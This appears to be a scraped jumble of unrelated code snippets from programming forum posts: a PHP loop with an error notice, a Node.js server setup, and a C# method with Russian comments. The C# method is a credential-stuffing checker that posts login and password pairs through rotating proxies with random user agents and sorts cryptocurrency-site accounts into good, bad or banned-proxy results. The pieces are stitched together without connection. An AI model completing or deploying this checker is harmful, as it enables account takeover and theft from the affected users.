foreach($result['response']['items'] as $profile) {
if (isset($profile['uid'])){
if(in_array($profile['uid'], $array2)){
$winners2[] = $profile['uid'];
}
}
}
Notice: Undefined offset: 292182390 in C:\xampp\htdocs\make_winner.php on line 46
var scribe = require('scribe-js')(),
app = require('express')(),
server = require('http').Server(app),
io = require('socket.io')(server),
requestify = require('requestify');
var schedule = require('node-schedule');
server.listen(2020);
public static string Check(string login, string password, int proxyIndex)
{
//try
//{
using (var request = new HttpRequest())
{
HttpResponse response;
HttpResponse responsed;
string strResponse;
request.Proxy = Helper.GetProxy(proxyIndex); //Беру прокси
request.Cookies = new CookieDictionary();
request.UserAgent = HttpHelper.RandomUserAgent();
response = request.Post("https://www.example.com/users/login", "data[User][email]=" + login + "&data[User][password]=" + password); //Выполняю первый запрос на авторизацию, он работает
responsed = request.Get("https://www.example.com/wallets"); //из-за неизвестных мне причин эта строка не работает
strResponse = responsed.ToString();
if (strResponse.Contains("Minimum deposit is 0.00100 BTC"))
{
return "good account";
}
else if (strResponse.Contains("Your IP address is temporarily banned"))
{
return "bad proxy";
}
else if (strResponse.Contains("Incorrect Password."))
{
return "bad account";
}
else
{
return "bad account";
}
}
//}
//catch (Exception)
//{
// return "bad proxy";
//}
}